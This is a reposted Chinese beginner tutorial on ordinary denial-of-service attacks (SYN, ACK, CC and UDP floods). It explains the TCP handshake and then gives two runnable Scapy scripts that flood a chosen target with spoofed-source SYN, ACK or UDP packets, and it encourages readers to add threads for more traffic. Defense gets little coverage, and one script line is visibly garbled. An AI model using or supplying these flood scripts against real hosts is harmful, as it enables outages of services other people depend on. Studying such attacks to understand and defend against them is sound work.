转载

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

普通 拒绝服务攻击 是 指一些 传统 的攻击方式,如:SYN FLOOD 攻击、 ACK FLOOD 攻击、 CC攻击、UDP  FLOOD攻击 等 等, 下面 会详细介绍。

SYN FLOOD 攻击

S yn  flood攻击是利用TCP协议的一些特性发动的 , 通过发送大量 伪造 的 带有 syn标志位的TCP报文 使 目标服务器连接耗尽,达到拒绝服务的目的。要想 理解 syn flood 的 攻击原理 必须 要先了解TCP 协议建立 连接的机制。TCP(Transmission Control Protocol  传输控制协议 )是一种面向连接的、可靠的、基于字节流的 传输层 通信协议。在 TCP /IP 协议簇 中,TCP层是位于IP层之上,应用层之下的中间层。不同 的 主机的应用层之间 通信 , 通 常需要可靠的、像管道一样的连接,但是IP层 (网络 层)不提供这样的 可靠字节 流机制,而是提供不可靠的 数据 包交换。 因为 TCP是可靠的传输方式,所以 在通信 之前需要建立连接,TCP建立连接的方式就是著名的TCP三次握手( 如图3 -1-1) :

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

yn  flood攻击就是在三次握手 机制 的基础上实现的。攻击者通过伪造 IP 报文, 在 IP 报文 的原地址字段随机填入伪造的IP地址,目的地址填入 要攻击 的服务器 IP 地址,其他TT L、 ID 以及 TCP中的Source Port 等 随机填入合理数据,TCP的目的端口填入目的服务器开放的 端口如 : 80、8080等,syn 标志位置 1。然后通过 不停的 循环 讲伪造好的数据包 发送 到目的服务器。 样本 如图 3-2、3-3 :

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

可以看到 目标主机建立了很多虚假的 半开 连接,这耗费了目标主机大量的 连接资源。可以想象 如果 成千上万 台“ 肉鸡 ” 对 一台服务器发动syn flood攻击威力 将是非常 强大

ACK FLOOD攻击

ack flood攻击同样是 利用 TCP三次握手的 缺陷 实现的攻击, ack  flood攻击利用的是三次握手的第二段,也就是TCP标志位syn和ack都置 1, 攻击主机伪造海量的 虚假 ack包 发送给 目标主机,目标主机每收到一个 带有 ack 标志 位的数据包时,都会去自己的TCP连接表中查看有没有与ack 的 发送者建立连接 , 如果有则发送三次握手的第三段ack+seq 完成 三次握手, 成功 建立TCP连接。如果 没有 则 发送 ack+rst 断开 连接。但是在 这个 过程中会消耗一定的CUP计算资源,如果 瞬间 收到海量 的 syn+ack 数据包 将会 消耗 大量的cpu资源使得正常的连接无法建立或者 增加 延迟,甚至造成服务器瘫痪、死机。 如图:

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

攻击开始 前 :

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

攻击开始 后 :

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

理论上 目标主机的TCP连接越多ack攻击效果越好,所以 如果 syn flood与ack flood配合使用效果会更明显。

实现代码如下(我是用scapy写的,单线程速度并不快,想要更大流量自行增加多线程):

#-*- coding: UTF-8 -*- 
import socket
import struct
from scapy.all import *
from scapy import all
import random
print"SYN/ACK FLOOD"
 
mode=input("SYN or ACK (0 or 1):")
if mode==0:
	flag=2
elif mode==1:
	flag=18
else :
	print"BUG "dip=raw_input(str("输入目的地址:"))
dp=input("目的端口: ")
sip1=raw_input(str("源地址(随机请输入 R ):"))
sp1=raw_input(str("源端口(随机请输入 R): "))
while 1:
	if sip1=="R":
		iprandom=random.randint(0,4000000000)
		sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
		if sp1=="R":
			sp=random.randint(1,65535)
		else:
		 	sp=sp1
	else:
		sip=sip1
		if sp1=="R":
			sp=random.randint(1,65535)
	 	else:
		 	sp=sp1
	t=random.randint(64,128)
	pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))
 
	send(pack)

CC攻击

CC 攻击全称Challenge Collapsar , 中文意思是挑战黑洞,因为以前的抗DDOS攻击的 安全 设备叫黑洞,顾名思义挑战 黑洞 就是说 黑洞 拿 这种攻击 没办法, 新一代 的抗DDOS设备已经改名为ADS(  Anti-DDoS System ), 基本上 已经 可以 完美的抵御CC攻击了 。

CC攻击的原理是 通过 代理服务器或者大量“ 肉鸡 ” 模拟 多个用户访问目标网站 的 动态页面, 制造 大量的 后台 数据库查询动作,消耗目标CPU资源,造成拒绝服务。

我们都知道 网站的页面有静态和动态之分,动态网页是需要与后台数据库进行交互的 ,比如 一些论坛, 用户 登录的时候 需要 去数据库查询你的等级、 权限 等等,当你留言的时候又需要查询权限、 同步 数据等等, 这就消耗 很多   cpu资源, 造成 静态网页能打开,但是需要和数据库交互的动态网页打开慢或者无法打开的现象 。

这种 攻击方式相对于前两种实现要相对复杂一些,但是防御 起来 要简单的多 ,提供服务 的企业只要尽量少用动态网页并且 让 一些操作 提供 验证码就能很好的抵御一般的 CC 攻击 。所以在这 我就不在演示CC攻击的效果了。

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

UDP FLOOD攻击

UDP FLOOD攻击顾名思义是利用UDP协议进行攻击的,UDP FLOOD攻击可以是小 数据包 冲击 设备 也可以是大数据包 阻塞 链路 占 尽带宽。 不过 两种方式的实现很相似,差别就在UDP的数据部分带有多少数据。 相比 TCP协议的攻击UDP的攻击更直接更好理解,有一定规模之后更难防御,因为UDP攻击的特点就是打出很高的流量,一个中小型的网站出口带宽可能不足 1 G, 如果 遇到 10 G左右的UDP FLOOD攻击, 单凭企业 自身是无论如何也防御不住的, 必须 需要运营商帮你在上游清 洗 流量才行,如果遇到 100G的 流量可能 地方的 运营商都 没有能力 清洗了,需要把流量分散到全国清洗。UDP FLOOD攻击 就像是 一块大石头,看着普普 通通 的 好像 跟现代 机枪 炸弹 不是 一个 等级的 武器,但是如果石头足够大 ,就不一样 了。想想 恐龙是 怎么灭绝的, 陨石 不也是块普通的石头吗! 在 DDOS 防御 领域有一句话:能防住的都是简单的攻击, 但 简单的攻击 不一定 防得住。UDP FLOOD正是这种简单有效的攻击方式。

大包 攻击:

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

小包 攻击:

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

下面的代码也是单线程,速度不太快,下一篇文章讲反射DDOS的时候会有多线程的用法。

UDPFLOOD.py
 
#-*- coding: UTF-8 -*- 
import socket
from scapy.all import *
from scapy import all
print "这是一个UDP FLOOD攻击器,源端口源IP随机"
dip=raw_input("输入要攻击的地址:")
dp=input("输入要攻击的端口:")
f=open('./load','r')
while 1:
	size=random.randint(1,2)
	data=f.read(size)
	iprandom=random.randint(0,4000000000)
	sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
	sp=random.randint(1000,65535)
	t=random.randint(50,120)
	packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data))
	send(packet)

下篇文章讲介绍反射性DOS攻击的相关知识,第一次发文,勿喷啊~~

*本文作者:黑戈爾,转载请注明来自FreeBuf.COM

原文  http://www.freebuf.com/articles/network/126702.html
正文到此结束
Loading...